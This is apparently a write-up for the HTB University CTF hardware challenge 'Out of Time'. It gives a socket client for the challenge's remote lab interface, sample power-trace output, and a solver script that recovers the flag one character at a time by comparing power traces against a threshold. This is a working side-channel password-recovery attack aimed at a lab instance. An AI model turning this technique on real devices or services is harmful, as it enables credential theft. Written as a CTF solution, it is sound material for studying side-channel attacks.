HTB University CTF Writeups: Out of Time

import time
import socket
import base64
import numpy as np
 
HOST = '0.0.0.0' # This must be changed to the corresponding value of the live instance
PORT = 1337  # This must be changed to the corresponding value of the live instance
 
# This function is used to decode the base64 transmitted power trace (which is a NumPy array)
def b64_decode_trace(leakage):
	byte_data = base64.b64decode(leakage) # decode base64
	return np.frombuffer(byte_data) # convert binary data into a NumPy array
 
# This function is used to communicate with the remote interface via socket
# The socket connection is also accessible with the use of netcat (nc)
def connect_to_socket(option, data):
	data = data.encode()
	# Initialize a socket connection 
	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
		# Connect to the HOST machine on the provided PORT
		s.connect((HOST, PORT))
		
		# Receive initial message
		resp_1 = s.recv(1024)
 
		# Select one of the two available options of this interface
		s.sendall(option) 	
 
		# Receive response
		resp_2 = s.recv(1024)
 
		# Send the data 
		s.sendall(data) 
 
		# Receive response
		# receive base64 encoded binary data 
		# that represented the power traces as a Numpy array 
		# use loop to avoid missing packets due to high latency 
		resp_data = b''
		tmp = s.recv(8096)
		while tmp != b'':
			resp_data += tmp
			tmp = s.recv(8096)
		s.close()
 
		# The print commands can be used for debugging in order to observe the responses
		# The following print commands can be commented out.
		print(resp_1.decode('ascii'))
		print(option)
		print(resp_2.decode('ascii'))
		print(data)
 
		return resp_data
 
# Sample plaintext 
password_guess = 'password_guess'
 
# Example use 
print("Option 1:")
leakage = connect_to_socket(b'1', password_guess)
print(leakage)
power_trace = b64_decode_trace(leakage)
 
print("Length of power trace: {}".format(power_trace.shape))
 
# Always use a delay between each connection 
# in order to have a stable communication with the remote instance
time.sleep(0.1)

kali@transistor:~/ctf/htb_uni/hw_out_of_time$ python3 socket_interface.py
Option 1:
Remote Lab Interface
1. Try password (Returns power trace): 
b'1'
Give a password guess: 
b'password_guess'
b'7HL2rmiR0b9SXkmagMS1vyhttHu5kci/E7tex2f137+KmmB2oKzGvyQt340828S/y7PibPBR2b8k1up2
...[A LOT OF BASE64]...
fFvbv7GrnUm+yt2/HhDUposm07/uLXn8wyzIv+BDdDXo/d6/igw6muxXxr/WdIQ606nTv4fip0h0WOC/xBJTqNTUyr8='
Length of power trace: (1000,)
[-0.27450006 -0.08502964 -0.19194716 -0.49935336 -0.17714315 -0.16294057
 -0.39562617 -0.20039779 -0.16867863 -0.25927103 -0.46770861 -0.49555924
 ...[about 980 float values]...
 -0.27593647 -0.36658975 -0.56537644 -0.14139505 -0.33289043 -0.14056442
 -0.25464094 -0.42745878 -0.46549947 -0.29922763 -0.18886614 -0.48424726
 -0.17455823 -0.3072403  -0.51079764 -0.20962008]

import time
import socket
import base64
import numpy as np
import pandas as pd
import seaborn as sns
 
import matplotlib.pyplot as plt
%matplotlib inline
 
HOST = '64.227.40.93' # This must be changed to the corresponding value of the live instance
PORT = 30965  # This must be changed to the corresponding value of the live instance
 
# This function is used to decode the base64 transmitted power trace (which is a NumPy array)
def b64_decode_trace(leakage):
	byte_data = base64.b64decode(leakage) # decode base64
	return np.frombuffer(byte_data) # convert binary data into a NumPy array
 
 
# This function is used to communicate with the remote interface via socket
# The socket connection is also accessible with the use of netcat (nc)
def connect_to_socket(option, data):
	data = data.encode()
	# Initialize a socket connection 
	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
		# Connect to the HOST machine on the provided PORT
		s.connect((HOST, PORT))
		
		# Receive initial message
		resp_1 = s.recv(1024)
 
		# Select one of the two available options of this interface
		s.sendall(option) 	
 
		# Receive response
		resp_2 = s.recv(1024)
 
		# Send the data 
		s.sendall(data) 
 
		# Receive response
		# receive base64 encoded binary data 
		# that represented the power traces as a Numpy array 
		# use loop to avoid missing packets due to high latency 
		resp_data = b''
		tmp = s.recv(8096)
		while tmp != b'':
			resp_data += tmp
			tmp = s.recv(8096)
		s.close()
 
		# The print commands can be used for debugging in order to observe the responses
		# The following print commands can be commented out.
		#print(resp_1.decode('ascii'))
		#print(option)
		#print(resp_2.decode('ascii'))
		#print(data)
 
		return resp_data
 
def testing(password_guess):
    # Example use 
    #print("Option 1:")
    leakage = connect_to_socket(b'1', password_guess)
    #print(leakage)
    power_trace = b64_decode_trace(leakage)
    #print(power_trace)
    #print("Length of power trace: {}".format(power_trace.shape))
    time.sleep(0.1)
    return power_trace
 
"""
id = [x for x in range(1000)]
data = {"id":id, "power":power_trace}
df = pd.DataFrame(data)
plot=sns.lineplot(data=df, y="power", x="id")
plot.get_figure().savefig("powerplot2.png")
"""
 
if __name__ == "__main__":
	VALID_CHARS = [chr(x) for x in range(33, 126)]
	THRESHOLD = 100
	plt.figure(figsize=(12, 4))
	ref_trace = testing("\x00")
	"""
	for c in VALID_CHARS:
		try:
			trace = testing(c)
			diff = np.sum(np.abs(trace - ref_trace))
			print("{:1} diff = {:2}".format(c, diff))
		except:
			pass 
	"""
	guessed_pw = "HTB{"
	while True:
		ref_trace = testing(guessed_pw + "\x00")
		for c in VALID_CHARS:
			trace = testing(guessed_pw+c)
			diff = np.sum(np.abs(trace - ref_trace))
 
			if diff > THRESHOLD:
				guessed_pw += c
				print(guessed_pw)
				break